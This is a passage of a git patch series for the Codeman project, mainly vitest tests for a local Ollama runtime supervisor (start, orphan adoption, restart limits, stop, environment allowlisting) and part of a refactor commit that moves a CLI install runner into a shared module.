itself, and a way back out of it. + { runtimeRoot: paths.root }, + { homeDir: join(paths.root, '..', 'elsewhere') }, + ]; + for (const change of cases) { + await expect(removeLocalModelFiles({ models: true, paths: { ...paths, ...change } })).rejects.toThrow(/Refusing/); + } + expect(await readFile(join(outside, 'keep.txt'), 'utf8')).toBe('keep'); + // A refusal deletes NOTHING: every folder is judged before the first one is removed. + expect(await readFile(paths.binary, 'utf8')).toBe('#!/bin/sh\n'); + expect(await readFile(join(paths.homeDir, '.ollama', 'id_ed25519'), 'utf8')).toBe('private key'); + expect(await readFile(join(paths.modelsDir, 'blobs', 'sha256-abc'), 'utf8')).toBe('weights'); + await rm(paths.stateFile, { force: true }); + }); + + it('refuses a folder whose real place is outside the real root', async () => { + // The root is real, but `runtime` inside it is reached through a linked parent. + const outside = await outsideDir(); + await mkdir(join(outside, 'runtime'), { recursive: true }); + await writeFile(join(outside, 'runtime', 'keep.txt'), 'keep'); + await mkdir(paths.root, { recursive: true }); + await symlink(outside, join(paths.root, 'nested')); + const twisted: LocalModelPaths = { ...paths, runtimeRoot: join(paths.root, 'nested', 'runtime') }; + await expect(removeLocalModelFiles({ models: false, paths: twisted })).rejects.toThrow(/Refusing/); + expect(await readFile(join(outside, 'runtime', 'keep.txt'), 'utf8')).toBe('keep'); + }); +}); diff --git a/test/local-model-supervisor.test.ts b/test/local-model-supervisor.test.ts new file mode 100644 index 00000000..e51e4049 --- /dev/null +++ b/test/local-model-supervisor.test.ts @@ -0,0 +1,796 @@ +/** + * @fileoverview Tests for the supervisor of src/local-model/runtime.ts: how Codeman starts, + * watches, restarts and stops its model runtime. + * + * Nothing real runs here. The child process is the fake of test/fixtures/fake-ollama.ts + * (`fake.spawn`): "starting" it makes the fake listen on the port of `OLLAMA_HOST` and write + * the runtime's start-up log, and killing it closes that listener. + * + * Pinned: + * - Start: one non-detached child, `<runtime folder>/ollama serve`, with the allowlisted + * environment; it is ready when `/api/version` answers the pinned version; the device total + * of its log is reported as the measured budget. + * - The port: a listener that is not ours is `port-in-use` and is never signalled; our own + * orphan (the stored pid runs a binary under our runtime folder) is adopted when it holds a + * loaded model at the wanted context, and replaced otherwise. + * - A child that exits by itself is restarted at most 3 times, then given up. + * - Stop: SIGTERM, and nothing is restarted afterwards. + * - Under vitest nothing spawns unless the test injects it. + * + * Port: none fixed (each test reserves a free loopback port). + */ + +import { existsSync } from 'node:fs'; +import { rm } from 'node:fs/promises'; +import { createServer, type Server } from 'node:net'; +import type { ChildProcess, SpawnOptions } from 'node:child_process'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js'; +import { + createRuntimeSupervisor, + RUNTIME_MAX_RESTARTS, + type RuntimeStatus, + type RuntimeSupervisor, + type RuntimeSupervisorDeps, +} from '../src/local-model/runtime.js'; +import { + createFakeOllama, + FakeRuntimeChild, + freeLoopbackPort, + startFakeOllama, + type FakeOllama, + type FakeOllamaOptions, +} from './fixtures/fake-ollama.js'; + +const CONTEXT = 131072; +/** A pid of an "earlier server's" runtime. Above every real pid, like the fake's own. */ +const ORPHAN_PID = 9_800_000; + +let paths: LocalModelPaths; +let port: number; +const fakes: FakeOllama[] = []; +const supervisors: RuntimeSupervisor[] = []; +const servers: Server[] = []; + +beforeEach(async () => { + paths = localModelPaths('0.40.15'); + port = await freeLoopbackPort(); +}); + +afterEach(async () => { + for (const supervisor of supervisors.splice(0)) await supervisor.stop(); + for (const fake of fakes.splice(0)) await fake.close(); + for (const server of servers.splice(0)) await new Promise<void>((resolve) => server.close(() => resolve())); + await rm(paths.root, { recursive: true, force: true }); +}); + +/** A fake runtime that does not listen until it is "spawned". */ +function fakeRuntime(options: FakeOllamaOptions = {}): FakeOllama { + const fake = createFakeOllama(options); + fakes.push(fake); + return fake; +} + +/** The children the fake has spawned so far. */ +function children(fake: FakeOllama): FakeRuntimeChild[] { + return fake.state.children; +} + +interface Harness { + supervisor: RuntimeSupervisor; + /** Every status `onChange` was called with. */ + changes: RuntimeStatus[]; + /** Every wait the supervisor asked for. */ + waits: number[]; + /** Every signal sent to a pid that is not our child. */ + kills: [number, NodeJS.Signals][]; +} + +/** A supervisor whose child is `fake`. Waits are instant unless a test passes its own `sleep`. */ +function supervise(fake: FakeOllama, overrides: Partial<RuntimeSupervisorDeps> = {}): Harness { + const changes: RuntimeStatus[] = []; + const waits: number[] = []; + const kills: [number, NodeJS.Signals][] = []; + const supervisor = createRuntimeSupervisor({ + spawn: fake.spawn, + fetch, + env: { PATH: '/usr/bin:/bin' }, + pin: fake.pin(), + paths, + sleep: async (ms) => { + waits.push(ms); + }, + commandOfPid: async () => undefined, + kill: (pid, signal) => { + kills.push([pid, signal]); + }, + onChange: (status) => changes.push(status), + startTimeoutMs: 3_000, + budgetWaitMs: 500, + ...overrides, + }); + supervisors.push(supervisor); + return { supervisor, changes, waits, kills }; +} + +/** Waits until `check()` is true. Fails the test when it never is. */ +async function until(check: () => boolean, what: string, timeoutMs = 3_000): Promise<void> { + const deadline = Date.now() + timeoutMs; + while (!check()) { + if (Date.now() > deadline) throw new Error(`Timed out waiting for: ${what}`); + await new Promise((resolve) => setTimeout(resolve, 5)); + } +} + +/** The command line `ps` would print for a runtime of ours. */ +function ownCommand(): string { + return `${paths.binary} serve`; +} + +// ---------- Start ---------- + +describe('start', () => { + it('starts one child, the runtime binary with "serve", and answers once it is up', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + + expect(children(fake)).toHaveLength(1); + const child = children(fake)[0]; + expect(child.command).toBe(paths.binary); + expect(child.args).toEqual(['serve']); + expect(result).toEqual({ + ok: true, + pid: child.pid, + port, + orphan: 'none', + // 37.4 GiB, read from the child's log line "inference compute". + measuredTotalBytes: 40_157_944_217, + }); + expect(supervisor.status()).toEqual({ + running: true, + pid: child.pid, + port, + contextLength: CONTEXT, + measuredTotalBytes: 40_157_944_217, + restarts: 0, + gaveUp: false, + }); + expect(fake.port).toBe(port); + }); + + it('starts the child non-detached, with pipes, in the private home', async () => { + const fake = fakeRuntime(); + const seen: SpawnOptions[] = []; + const { supervisor } = supervise(fake, { + spawn: (command, args, options) => { + seen.push(options); + return fake.spawn(command, args, options); + }, + }); + await supervisor.start({ port, contextLength: CONTEXT }); + expect(seen).toHaveLength(1); + expect(seen[0].detached).toBe(false); + expect(seen[0].stdio).toEqual(['ignore', 'pipe', 'pipe']); + expect(seen[0].cwd).toBe(paths.homeDir); + expect(seen[0]).not.toHaveProperty('shell'); + // The folders it needs exist before it starts. + expect(existsSync(paths.homeDir)).toBe(true); + expect(existsSync(paths.modelsDir)).toBe(true); + }); + + it('gives the child the allowlisted environment and nothing of the server beyond it', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake, { + env: { + PATH: '/usr/bin:/bin', + HOME: '/Users/arkon', + LANG: 'en_US.UTF-8', + CODEMAN_PASSWORD: 'hunter2', + CODEMAN_API_URL: 'http://127.0.0.1:3000', + OLLAMA_ORIGINS: '*', + OLLAMA_HOST: '0.0.0.0:11434', + OLLAMA_KEEP_ALIVE: '-1', + ANTHROPIC_API_KEY: 'sk-ant-secret', + }, + }); + await supervisor.start({ port, contextLength: 65536 }); + expect(children(fake)[0].env).toEqual({ + PATH: '/usr/bin:/bin', + LANG: 'en_US.UTF-8', + HOME: paths.homeDir, + OLLAMA_HOST: `127.0.0.1:${port}`, + OLLAMA_MODELS: paths.modelsDir, + OLLAMA_CONTEXT_LENGTH: '65536', + OLLAMA_NO_CLOUD: '1', + OLLAMA_KEEP_ALIVE: '10m', + OLLAMA_NUM_PARALLEL: '1', + OLLAMA_MAX_LOADED_MODELS: '1', + }); + }); + + it('reads the budget the child logs, whatever the Mac', async () => { + const fake = fakeRuntime({ spawn: { total: '11.8 GiB' } }); + const { supervisor } = supervise(fake); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: true, measuredTotalBytes: 12_670_153_523 }); + expect(supervisor.status().measuredTotalBytes).toBe(12_670_153_523); + }); + + it('still starts when the child prints no budget line, and reports none', async () => { + const fake = fakeRuntime({ spawn: { logsBudget: false } }); + const { supervisor } = supervise(fake, { budgetWaitMs: 60 }); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: true, port }); + expect(result).not.toHaveProperty('measuredTotalBytes'); + expect(supervisor.status()).not.toHaveProperty('measuredTotalBytes'); + expect(supervisor.status().running).toBe(true); + }); + + it('is idempotent: a child that already runs as asked is kept', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + const first = await supervisor.start({ port, contextLength: CONTEXT }); + const second = await supervisor.start({ port, contextLength: CONTEXT }); + expect(second).toEqual(first); + expect(children(fake)).toHaveLength(1); + expect(children(fake)[0].signals).toEqual([]); + }); + + it('replaces a child that runs with another context length', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + const result = await supervisor.start({ port, contextLength: 65536 }); + expect(result).toMatchObject({ ok: true, orphan: 'none' }); + expect(children(fake)).toHaveLength(2); + // The first got SIGTERM; the second runs with the new context. + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + expect(children(fake)[1].env.OLLAMA_CONTEXT_LENGTH).toBe('65536'); + expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[1].pid, contextLength: 65536 }); + // Replacing on purpose is not a crash. + expect(supervisor.status().restarts).toBe(0); + }); + + it('runs two starts one after the other, never two children at once', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + const [a, b] = await Promise.all([ + supervisor.start({ port, contextLength: CONTEXT }), + supervisor.start({ port, contextLength: CONTEXT }), + ]); + expect(a).toMatchObject({ ok: true }); + expect(b).toEqual(a); + expect(children(fake)).toHaveLength(1); + }); + + it('refuses a port or a context length that is none, without starting anything', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + for (const bad of [0, -1, 70_000, 1.5, Number.NaN]) { + expect(await supervisor.start({ port: bad, contextLength: CONTEXT }), String(bad)).toMatchObject({ + ok: false, + code: 'runtime-start-failed', + }); + } + for (const bad of [0, -5, 1.5, Number.NaN]) { + expect(await supervisor.start({ port, contextLength: bad }), String(bad)).toMatchObject({ + ok: false, + code: 'runtime-start-failed', + }); + } + expect(children(fake)).toHaveLength(0); + }); + + it('tells its caller every change, and survives a caller that throws', async () => { + const fake = fakeRuntime(); + const seen: RuntimeStatus[] = []; + const { supervisor } = supervise(fake, { + onChange: (status) => { + seen.push(status); + throw new Error('the state file is read-only'); + }, + }); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: true }); + // The caller stores pid and port from this. + expect(seen.at(-1)).toMatchObject({ running: true, pid: children(fake)[0].pid, port, contextLength: CONTEXT }); + await supervisor.stop(); + expect(seen.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); + + it('hands out a copy of its status', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + const status = supervisor.status(); + status.running = false; + status.pid = 1; + expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid }); + }); + + it("writes no state file: storing pid and port is the caller's business", async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + await supervisor.stop(); + expect(existsSync(paths.stateFile)).toBe(false); + }); +}); + +// ---------- A start that fails ---------- + +describe('a start that fails', () => { + it('answers runtime-start-failed when the child never answers, and does not leave it running', async () => { + const fake = fakeRuntime({ spawn: { neverListens: true } }); + const { supervisor } = supervise(fake, { startTimeoutMs: 150 }); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' }); + const detail = (result as { detail?: string }).detail ?? ''; + expect(detail).toContain('did not answer'); + // The last lines of its log are the detail. + expect(detail).toContain('Listening on'); + expect(children(fake)).toHaveLength(1); + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); + + it('answers runtime-start-failed when the child exits at once, with what it printed', async () => { + const fake = fakeRuntime({ spawn: { exitsAtOnce: 2 } }); + const { supervisor } = supervise(fake); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' }); + const detail = (result as { detail?: string }).detail ?? ''; + expect(detail).toContain('exited with code 2'); + expect(detail).toContain('address already in use'); + // A start that failed is not a crash to recover from: nothing is started again. + await new Promise((resolve) => setTimeout(resolve, 50)); + expect(children(fake)).toHaveLength(1); + expect(supervisor.status()).toMatchObject({ running: false, restarts: 0, gaveUp: false }); + }); + + it('answers runtime-start-failed when a runtime of another version answers', async () => { + const fake = fakeRuntime({ version: '0.39.2' }); + const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } }); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' }); + expect((result as { detail?: string }).detail).toContain('0.39.2'); + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + }); + + it('answers runtime-start-failed when the binary cannot be started at all', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake, { + spawn: () => { + throw new Error('spawn EACCES'); + }, + }); + expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({ + ok: false, + code: 'runtime-start-failed', + detail: 'spawn EACCES', + }); + }); + + it('spawns nothing under vitest unless the test injects a spawn', async () => { + // No `spawn` and no `fetch` given: the defaults refuse here. + const supervisor = createRuntimeSupervisor({ paths, startTimeoutMs: 200 }); + supervisors.push(supervisor); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + // The refusal itself, not a failed attempt to run a binary that is not there. + expect(result).toEqual({ + ok: false, + code: 'runtime-start-failed', + detail: 'spawn is not available under vitest: the test must inject its own', + }); + expect(supervisor.status().running).toBe(false); + }); + + it('gives up a start at once when stop is called while it waits', async () => { + const fake = fakeRuntime({ spawn: { neverListens: true } }); + const { supervisor } = supervise(fake, { + startTimeoutMs: 20_000, + sleep: () => new Promise((resolve) => setTimeout(resolve, 10)), + }); + const starting = supervisor.start({ port, contextLength: CONTEXT }); + await until(() => children(fake).length === 1, 'the child to be spawned'); + const began = Date.now(); + await supervisor.stop(); + const result = await starting; + expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' }); + // Not after the 20 seconds a start may take. + expect(Date.now() - began).toBeLessThan(5_000); + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + expect(supervisor.status().running).toBe(false); + }); +}); + +// ---------- The port ---------- + +describe('the port', () => { + /** A runtime that listens on `port` already, as an earlier server's would. */ + async function listeningRuntime(options: FakeOllamaOptions = {}): Promise<FakeOllama> { + const other = createFakeOllama(options); + fakes.push(other); + await other.listen(port); + return other; + } + + it('answers port-in-use for a runtime that is not ours, and does not touch it', async () => { + // The user's own runtime on our port. No pid of ours is stored. + const theirs = await listeningRuntime(); + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake); + const result = await supervisor.start({ port, contextLength: CONTEXT }); + // Told apart from any other program on the port: it answers as a runtime, and is not ours. + expect(result).toEqual({ + ok: false, + code: 'port-in-use', + detail: `A model runtime that Codeman did not start answers on port ${port} (version 0.40.15)`, + }); + expect(children(fake)).toHaveLength(0); + expect(kills).toEqual([]); + expect(theirs.listening).toBe(true); + expect(supervisor.status().running).toBe(false); + }); + + it('answers port-in-use when the stored pid now runs something else', async () => { + const theirs = await listeningRuntime(); + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + // The pid was reused, or it is a runtime outside our folder. + commandOfPid: async () => '/usr/local/bin/ollama serve', + }); + const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + expect(result).toMatchObject({ ok: false, code: 'port-in-use' }); + expect(kills).toEqual([]); + expect(theirs.listening).toBe(true); + expect(children(fake)).toHaveLength(0); + }); + + it('answers port-in-use for a listener that is no runtime at all', async () => { + // Some other program: it takes the connection and hangs up. + const holder = createServer((socket) => socket.destroy()); + servers.push(holder); + await new Promise<void>((resolve) => holder.listen(port, '127.0.0.1', () => resolve())); + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({ + ok: false, + code: 'port-in-use', + detail: `Another program holds port ${port}`, + }); + expect(children(fake)).toHaveLength(0); + }); + + it('ADOPTS its own orphan when that holds a loaded model at the wanted context', async () => { + const orphan = await listeningRuntime({ installed: true }); + orphan.state.loaded = true; + let gone = false; + const fake = fakeRuntime(); + const { supervisor, kills, changes } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + }); + const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + // Kept as it is: nothing spawned, nothing signalled, the loaded model stays loaded. + expect(result).toEqual({ ok: true, pid: ORPHAN_PID, port, orphan: 'adopted' }); + expect(children(fake)).toHaveLength(0); + expect(kills).toEqual([]); + expect(orphan.listening).toBe(true); + // Its log is not ours to read, so there is no measured budget. + expect(supervisor.status()).toEqual({ + running: true, + pid: ORPHAN_PID, + port, + contextLength: CONTEXT, + restarts: 0, + gaveUp: false, + }); + expect(changes.at(-1)).toMatchObject({ running: true, pid: ORPHAN_PID }); + // So that the stop after this test finds it gone and does not wait out its grace period. + gone = true; + }); + + it('stops an adopted orphan by its pid', async () => { + const orphan = await listeningRuntime({ installed: true }); + orphan.state.loaded = true; + let gone = false; + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + kill: (pid, signal) => { + kills.push([pid, signal]); + gone = true; + }, + }); + await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + await supervisor.stop(); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); + + /** Starts with an orphan on the port that is ours and goes away when it is signalled. */ + async function startOverOrphan(orphanOptions: FakeOllamaOptions, loaded: boolean) { + const orphan = await listeningRuntime(orphanOptions); + orphan.state.loaded = loaded; + let gone = false; + const fake = fakeRuntime(); + const harness = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + kill: (pid, signal) => { + harness.kills.push([pid, signal]); + gone = true; + void orphan.close(); + }, + }); + const result = await harness.supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + return { orphan, fake, result, ...harness }; + } + + it('REPLACES its own orphan when that has no model loaded: nothing is lost, and the budget is read again', async () => { + const { orphan, fake, result, kills, supervisor } = await startOverOrphan({ installed: true }, false); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + expect(orphan.listening).toBe(false); + expect(children(fake)).toHaveLength(1); + expect(result).toEqual({ + ok: true, + pid: children(fake)[0].pid, + port, + orphan: 'replaced', + measuredTotalBytes: 40_157_944_217, + }); + expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid }); + }); + + it('replaces its own orphan when the model is loaded at another context', async () => { + const { fake, result, kills } = await startOverOrphan({ installed: true, contextLength: 32768 }, true); + expect(result).toMatchObject({ ok: true, orphan: 'replaced' }); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + expect(children(fake)[0].env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT)); + }); + + it('replaces its own orphan when it is another version than the pinned one', async () => { + const { fake, result, kills } = await startOverOrphan({ installed: true, version: '0.39.2' }, true); + expect(result).toMatchObject({ ok: true, orphan: 'replaced' }); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + expect(children(fake)).toHaveLength(1); + }); + + it('replaces its own orphan that no longer answers, and starts on the free port', async () => { + // The stored pid is a runtime of ours, but nothing listens on the port. + let gone = false; + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + kill: (pid, signal) => { + kills.push([pid, signal]); + gone = true; + }, + }); + const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + expect(result).toMatchObject({ ok: true, orphan: 'replaced' }); + expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]); + }); + + it('never signals a pid whose command is not under our runtime folder', async () => { + for (const command of [ + '/usr/local/bin/ollama serve', + `${paths.runtimeRoot}-other/ollama serve`, + `/bin/sh -c ${paths.binary} serve`, + undefined, + ]) { + const fake = fakeRuntime(); + const { supervisor, kills } = supervise(fake, { commandOfPid: async () => command }); + const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID }); + expect(result, String(command)).toMatchObject({ ok: true, orphan: 'none' }); + expect(kills, String(command)).toEqual([]); + await supervisor.stop(); + } + }); + + it('takes over from an adopted orphan that dies: the next runtime is a child of its own', async () => { + const orphan = await listeningRuntime({ installed: true }); + orphan.state.loaded = true; + let gone = false; + const fake = fakeRuntime(); + const { supervisor } = supervise(fake, { + commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined), + orphanPollMs: 15, + }); + expect(await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID })).toMatchObject({ + orphan: 'adopted', + }); + // The orphan dies by itself. + await orphan.close(); + gone = true; + await until(() => children(fake).length === 1 && supervisor.status().running, 'a child of our own to run'); + expect(supervisor.status()).toMatchObject({ + running: true, + pid: children(fake)[0].pid, + port, + restarts: 1, + measuredTotalBytes: 40_157_944_217, + }); + }); +}); + +// ---------- Restart ---------- + +describe('a child that exits by itself', () => { + it('is started again, with the same port and context', async () => { + const fake = fakeRuntime(); + const { supervisor, waits, changes } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + const first = children(fake)[0]; + + first.crash(1); + await until(() => children(fake).length === 2 && supervisor.status().running, 'the runtime to run again'); + + const second = children(fake)[1]; + expect(second.env.OLLAMA_HOST).toBe(`127.0.0.1:${port}`); + expect(second.env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT)); + expect(supervisor.status()).toMatchObject({ running: true, pid: second.pid, restarts: 1, gaveUp: false }); + // It waited a second before starting it again. + expect(waits).toContain(1000); + // The caller was told that it stopped, and that it runs again. + const running = changes.map((status) => status.running); + expect(running.indexOf(false, running.indexOf(true))).toBeGreaterThan(0); + expect(running.at(-1)).toBe(true); + // Nobody signalled the one that crashed. + expect(first.signals).toEqual([]); + }); + + it('is started again at most 3 times, then given up', async () => { + expect(RUNTIME_MAX_RESTARTS).toBe(3); + const fake = fakeRuntime(); + const { supervisor, changes } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + + for (let crash = 1; crash <= 3; crash++) { + children(fake).at(-1)?.crash(1); + await until(() => children(fake).length === crash + 1 && supervisor.status().running, `restart number ${crash}`); + expect(supervisor.status()).toMatchObject({ running: true, restarts: crash, gaveUp: false }); + } + + // The fourth exit is one too many. + children(fake).at(-1)?.crash(1); + await until(() => supervisor.status().gaveUp, 'the supervisor to give up'); + expect(supervisor.status()).toEqual({ + running: false, + port, + contextLength: CONTEXT, + measuredTotalBytes: 40_157_944_217, + restarts: 3, + gaveUp: true, + }); + // The first child and three restarts, and no fifth. + await new Promise((resolve) => setTimeout(resolve, 60)); + expect(children(fake)).toHaveLength(4); + expect(changes.at(-1)).toMatchObject({ running: false, gaveUp: true, restarts: 3 }); + }); + + it('counts a restart that does not come up as one of the three', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake, { startTimeoutMs: 100 }); + await supervisor.start({ port, contextLength: CONTEXT }); + // From now on the runtime exits as soon as it is started. + fake.switches.spawn.exitsAtOnce = 1; + children(fake)[0].crash(1); + await until(() => supervisor.status().gaveUp, 'the supervisor to give up'); + expect(children(fake)).toHaveLength(4); + expect(supervisor.status()).toMatchObject({ running: false, restarts: 3, gaveUp: true }); + }); + + it('starts counting again after a start that was asked for', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake, { startTimeoutMs: 100 }); + await supervisor.start({ port, contextLength: CONTEXT }); + fake.switches.spawn.exitsAtOnce = 1; + children(fake)[0].crash(1); + await until(() => supervisor.status().gaveUp, 'the supervisor to give up'); + + // The person presses Start: it runs again, and the count is back at 0. + fake.switches.spawn.exitsAtOnce = undefined; + const result = await supervisor.start({ port, contextLength: CONTEXT }); + expect(result).toMatchObject({ ok: true, orphan: 'none' }); + expect(supervisor.status()).toMatchObject({ running: true, restarts: 0, gaveUp: false }); + }); + + it('is not started again once stop was called, also while it waits to restart', async () => { + const fake = fakeRuntime(); + let release: () => void = () => undefined; + const { supervisor } = supervise(fake, { + // The wait before a restart does not end by itself; the polls of a start still do. + sleep: (ms) => + ms === 1000 + ? new Promise<void>((resolve) => { + release = resolve; + }) + : Promise.resolve(), + }); + await supervisor.start({ port, contextLength: CONTEXT }); + children(fake)[0].crash(1); + await until(() => supervisor.status().restarts === 1, 'the restart to be scheduled'); + + const stopping = supervisor.stop(); + release(); + await stopping; + await new Promise((resolve) => setTimeout(resolve, 50)); + expect(children(fake)).toHaveLength(1); + expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); +}); + +// ---------- Stop ---------- + +describe('stop', () => { + it('sends the child SIGTERM and resolves once it is gone', async () => { + const fake = fakeRuntime(); + const { supervisor, changes } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + const child = children(fake)[0]; + + await supervisor.stop(); + + expect(child.signals).toEqual(['SIGTERM']); + expect(child.signalCode).toBe('SIGTERM'); + // Gone, and the port is free again. + expect(fake.listening).toBe(false); + await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow(); + expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false }); + expect(changes.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false }); + }); + + it('does not take the stop for a crash: nothing is started again', async () => { + const fake = fakeRuntime(); + const { supervisor, waits } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + await supervisor.stop(); + await new Promise((resolve) => setTimeout(resolve, 60)); + expect(children(fake)).toHaveLength(1); + expect(waits).not.toContain(1000); + }); + + it('is safe when nothing runs, and twice in a row', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + await supervisor.stop(); + await supervisor.start({ port, contextLength: CONTEXT }); + await Promise.all([supervisor.stop(), supervisor.stop()]); + await supervisor.stop(); + expect(children(fake)[0].signals).toEqual(['SIGTERM']); + expect(supervisor.status().running).toBe(false); + }); + + it('can be started again after a stop', async () => { + const fake = fakeRuntime(); + const { supervisor } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + await supervisor.stop(); + const again = await supervisor.start({ port, contextLength: CONTEXT }); + expect(again).toMatchObject({ ok: true, pid: children(fake)[1].pid, orphan: 'none' }); + expect(children(fake)).toHaveLength(2); + }); + + it('kills the child when the server process exits without its shutdown', async () => { + // The last resort for a forced exit: a listener on the process, for as long as the child lives. + const fake = fakeRuntime(); + const before = process.listenerCount('exit'); + const { supervisor } = supervise(fake); + await supervisor.start({ port, contextLength: CONTEXT }); + expect(process.listenerCount('exit')).toBe(before + 1); + const child = children(fake)[0] as unknown as ChildProcess & FakeRuntimeChild; + + // What Node does on `process.exit()`: it calls the listeners. + const added = process.listeners('exit').at(-1) as () => void; + const exited = new Promise<void>((resolve) => child.once('exit', () => resolve())); + added(); + await exited; + expect(child.signals).toEqual(['SIGTERM']); + // The listener goes with its child. (This process did not really exit, so the supervisor + // took the exit for a crash and started another child, which has a listener of its own.) + expect(process.listeners('exit')).not.toContain(added); + await supervisor.stop(); + expect(process.listenerCount('exit')).toBe(before); + }); +}); From be9279de35a8daeb4e0bc70fddf7bc7f65cbe76f Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 13/28] refactor(cli-registry): move the CLI install runner into a shared module The runner that executes a CLI's stock install command (the environment without CODEMAN_*, the npm prefix redirect, the bounded process group, the one install per CLI at a time) moves from cli-registry-routes.ts to src/cli-install-runner.ts, so the local model install can use the same one. The route re-exports installEnv and npmGlobalPrefixWritable and behaves as before; its tests are unchanged. New in the shared module: an abort signal that kills the process group, stockInstallCommand() (the compiled stock command, never the clis.json one) and tryBeginCliInstall(), the one install slot per CLI for both callers. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/cli-install-runner.ts | 240 +++++++++++++++++++-- src/web/routes/cli-registry-routes.ts | 231 ++------------------ test/cli-install-runner.test.ts | 298 ++++++++++++++++++++++++++ 3 files changed, 534 insertions(+), 235 deletions(-) create mode 100644 test/cli-install-runner.test.ts diff --git a/src/cli-install-runner.ts b/src/cli-install-runner.ts index 99d3a1a4..d74dd5a0 100644 --- a/src/cli-install-runner.ts +++ b/src/cli-install-runner.ts @@ -3,12 +3,11 @@ * executes an install one-liner, used by `POST /api/clis/:id/install` * (src/web/routes/cli-registry-routes.ts) and by the local model install job. * - * CONTRACT STAGE: `CLI_INSTALL_TIMEOUT_MS` is final. Every function below has its final - * signature and a body that throws. The bodies are MOVED here from cli-registry-routes.ts - * next, and that route keeps its behaviour byte for byte (same answers, same audit entry, - * same 409 for a second install of one id, same environment). + * The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour + * byte for byte (same answers, same audit entry, same 409 for a second install of one id, + * same environment). * - * What moves, unchanged in behaviour: + * What lives here: * - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment 